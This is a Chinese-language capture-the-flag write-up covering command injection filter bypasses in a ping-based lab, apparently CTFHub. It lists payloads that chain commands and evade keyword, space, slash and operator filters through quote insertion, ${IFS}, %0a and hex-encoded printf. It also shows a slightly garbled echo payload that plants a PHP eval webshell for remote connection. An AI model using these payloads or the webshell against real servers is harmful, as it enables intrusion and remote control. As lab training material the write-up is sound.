前言
这次主要学习一些命令注入的绕过方式,后端一般会对用户输入做一些校验、过滤,以免被恶意注入一些命令,但是如果校验的方式比较简单的话,很容易就能绕过。
做题
命令注入
首先来一道没有任何过滤的。
直接用分号结束掉 ping 命令,然后查看当前目录下的文件。
1 | ;ls |
flag 很有可能就藏在这个文件里面。
直接 cat 看一下这个文件的内容。
1 | ;cat 2612554426325.php |
但是好像没显示出来。
我猜想是因为文件里有一些 HTML 标签,导致标签闭合有问题导致没回显,所以看了一下 HTML 源码,原来是被注释掉了,直接从 HTML 源码里复制出来就行。
不过还能有别的办法可以让其直接回显,那就是用 base64 编码一下,这样特殊符号就会被编码了,拿到后再解码即可。
1 | cat xxx | base64 |
过滤 cat
这次从代码中可以看到,输入中含有 cat 的话会被过滤掉。
简单,那我不用 cat 了,我用 head 或者 tail 就好。
或者在 cat 中间插入2个单引号或者双引号。插入2个单引号或者双引号会被 shell 识别为空字符串。
除了不用 cat、用单引号双引号绕过以外,还有别的办法,就是尝试上传 shell,再连接服务器。
比如用下面这个 payload,利用 echo 注入一个木马文件,再用蚁剑工具连接服务器,也能达到目的。
1 | ;echo -e "<?php eval(/$_POST['ctf']);?>" > test.php" > test.php |
过滤空格
这次过滤条件变成空格了。
用 ${IFS} 代替空格即可。
1 | cat${IFS}flag_311491164811351${IFS}|base64 |
过滤目录分隔符
这次不能输入 / 了。
但是 ls 看了一下,flag 应该在 flag_is_here 文件夹下面。
cd 进去后再读取文件即可。
1 | ;cd flag_is_here;cat flag_30930190447288.php | base64 |
过滤运算符
这题的输入不能含有 | 和 &。
但我本来就不需要用到 | 和 & 啊……直接 cat xxx.php 不就完事了,我不一定要用到 base64 编码的,cat 得到内容后直接查看 HTML 源码即可。
1 | ;cat flag_28801250012455.php |
综合过滤练习
这最后一题的过滤条件可就多了,不能含有 | 、 & 、 ; 、/ 、cat 、 flag 、 ctfhub,走一步看一部把。
首先是不能输入”;”了,那可以考虑用 %0a、%0d 来代替了。
1 | %0als |
用 ls 看一下当前目录下的文件,这个 flag_is_here 应该是个文件夹了。
接下来要 ls flag_is_here 看一下这个文件夹下的文件。
- 不能含有空格,所以用 ${IFS} 代替空格
- 不能含有flag,所以把 flag_is_here 转成十六进制,再使用 $(printf “十六进制”) 转回来
所以 payload 是
1 | %0als${IFS}$(printf${IFS}"\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65") |
可以看到 flag 应该就在 flag_192772003230217.php 中。
接下来要用 cat flag_is_here/flag_flag_192772003230217.php 查看文件内容,所以
- 用 c’’a’’t 代替 cat
- 把 flag_is_here/flag_flag_192772003230217.php 转成十六进制
payload是
1 | %0ac''a''t${IFS}$(printf${IFS}"\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65\x2f\x66\x6c\x61\x67\x5f\x31\x39\x32\x37\x37\x32\x30\x30\x33\x32\x33\x30\x32\x31\x37\x2e\x70\x68\x70") |
查看 HTML 源码拿到 flag。
总结
命令注入常见的绕过方式有以下几种:
- 单引号、双引号绕过。’’ 或 “” 会被认为是空字符串,例如用 ca’’t 可以绕过 cat 的检测
- 空格绕过。${IFS} 是 Bash 内置空格分隔符,可以用它来代替空格
- 目录分隔符检测绕过。如果不能输入 / ,则考虑用 cd 进入相应的目录一步步操作
- 十六进制绕过。用编码代替一些关键字或关键字符,用十六进制来代替的方法比较常见,例如 cat 被过滤了,可以这样注入:$(printf “\x63\x61\x74”) /flag → cat /flag
- 使用 echo 注入木马。使用 echo 注入一句话木马,再连接服务器